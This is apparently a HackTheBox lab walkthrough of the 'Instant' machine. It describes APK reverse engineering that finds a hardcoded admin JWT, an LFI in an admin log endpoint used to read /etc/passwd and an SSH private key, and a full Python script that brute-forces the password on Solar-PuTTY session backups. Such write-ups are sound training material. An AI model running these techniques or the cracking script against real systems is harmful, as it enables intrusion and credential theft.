Instant Walkthrough - HackTheBox
Intro
Instant is a medium level linux box centered around a banking app. The initial entry point is a website hosting an Android APK. Reverse engineering the app reveals a hardcoded admin JWT and a hidden subdomain hosting Swagger UI that exposes admin API endpoints. The backend suffers from an LFI vulnerability, allowing extraction of an SSH private key and gaining access to the machine as the user shirohige
. Privilege escalation is achieved by cracking an encrypted Solar-PuTTY session backup to retrieve root credentials.
Recon
Nmap scan
Doing port scanning with nmap shows that we have only 2 ports open (22 for ssh and 80 for http):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Nmap scan report for instant.htb (10.10.11.37)
Host is up (0.084s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 31:83:eb:9f:15:f8:40:a5:04:9c:cb:3f:f6:ec:49:76 (ECDSA)
|_ 256 6f:66:03:47:0e:8a:e0:03:97:67:5b:41:cf:e2:c7:c7 (ED25519)
80/tcp open http Apache httpd 2.4.58
|_http-title: Instant Wallet
|_http-server-header: Apache/2.4.58 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Nov 2 17:26:25 2024 -- 1 IP address (1 host up) scanned in 12.58 seconds
Web App
Looking at the web application hosted on port 80, we found it redirects to instant.htb
which seems to be a landing page for a banking application with a download button for an APK file:
Android App - analysis and reverse engineering
Dynamic analysis
After downloading the APK of the application, I installed it on genymotion emulator and started using it and capturing the HTTP traffic generated by the app using burpsuite:
However, nothing interesting was found.
Static analysis
I decided to do static analysis on the application by decompiling the apk using Jadx GUI and began reviewing the decompiled source code and app resources:
As we can see the application uses a custom network security configuration to allow sending plaintext http traffic to the following subdomains:
mywalletv1.instant.htb
: this is where the API that application uses is hosted on.swagger-ui.instant.htb
: seems to be a subdomain where the API documentation / swagger UI is hosted.
Visiting the newly discovered subdomain reveals that the Swagger documentation exposes more API endpoints that we didn’t know initially:
As we can see we have more routes that the app didn’t use anywhere such as the ones used for the Logs
functionality which are reserved for admin usage and can only be accessed from an admin account.
Leaked Admin Token
Upon further review of the decompiled source code of the application i found a hard-coded JWT token for the admin account:
I tested if the token is valid by sending an http request to the API with that token and it turned out to be a valid token:
So now we will be able to access the admin routes.
User flag
LFI / Path Traversal
After looking at and playing with different admin endpoints, I found out that the API endpoint /api/v1/admin/read/log
suffers from a Local File Inclusion (LFI) vulnerability that allows us to read arbitrary files from the server file-system:
As you can see we were able to read content of the /etc/passwd
file.
After that I exploited the issue to exfiltrate the content of the SSH private key for shirohige
user account:
SSH as shirohige
Now we can access the machine via SSH using the private key for the user shirohige
:
Root Flag
Enumeration
After running linpeas i found an interesting backup file located at /opt/backups/Solar-PuTTY
directory:
Solar PuTTY
The file sessions-backup.dat
contains session data exported from a program called Solar-PuTTY
which is very similar Putty
(an ssh client for windows) but comes with more features such as the ability to save passwords or private keys for auto-login:
After doing more research i found out that this exported sessions file might be encrypted without a password and you can simply import it via solar putty in windows however that didn’t work and it was password protected.
Cracking encryption password
By reading this article Reverse Engineering Solar-PuTTY 4.0.0.47 i was able to understand how solar putty export and import functionality work and understand how the data is encrypted before being exported or decrypted before being imported.
Now we need just to create a decrypt function in python that implements the same decryption algorithm that the program Solar PuTTY
uses when decrypting session data with a password and then use the function in a script to brute-force the encryption password and recover the plain-text version of the sessions information:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from Crypto.Cipher import DES3
from Crypto.Protocol.KDF import PBKDF2
import base64
import sys
def decrypt(passphrase, ciphertext):
try:
# Decode the base64 encoded cipher text
encrypted_data = base64.b64decode(ciphertext)
# Extract salt, IV, and encrypted message
salt = encrypted_data[:24]
iv = encrypted_data[24:32] # Matching the original extraction of IV (24 bytes)
encrypted_message = encrypted_data[48:]
# Derive the key using PBKDF2 (matching the Rfc2898DeriveBytes implementation)
key = PBKDF2(passphrase, salt, dkLen=24, count=1000)
# Create Triple DES cipher
cipher = DES3.new(key, DES3.MODE_CBC, iv)
# Decrypt the message
decrypted_padded_message = cipher.decrypt(encrypted_message)
# Remove padding (PKCS7)
padding_length = decrypted_padded_message[-1]
decrypted_data = decrypted_padded_message[:-padding_length]
# Return the original plain text
return decrypted_data.decode('utf-8', errors='ignore')
except Exception as ex:
print(ex)
def main():
if len(sys.argv) != 3:
print("Usage: python decrypt.py <ecrypted_sessions_file> <wordlist>")
sys.exit(1)
ciphertext_file_path = sys.argv[1]
wordlist_file_path = sys.argv[2]
ciphertext = ""
with open(ciphertext_file_path,'r') as f:
ciphertext = f.readline().strip()
with open(wordlist_file_path, "r", encoding='latin-1') as f:
for passphrase in f:
passphrase = passphrase.strip()
try:
plaintext = decrypt(passphrase, ciphertext)
if "Credentials" in plaintext:
print(f"Password: {passphrase}\n")
print(f"Decrypted data: {plaintext}\n")
break
except Exception as e:
pass
if __name__ == "__main__":
main()
The script will take 2 arguments the first one is the path of the file that contains the encrypted solar putty session data and the second is wordlist of passwords, after running the script for a few seconds we were able to find the password and successfully decrypt the session data:
Shell as root
Now let’s switch to the root user account and grab the flag: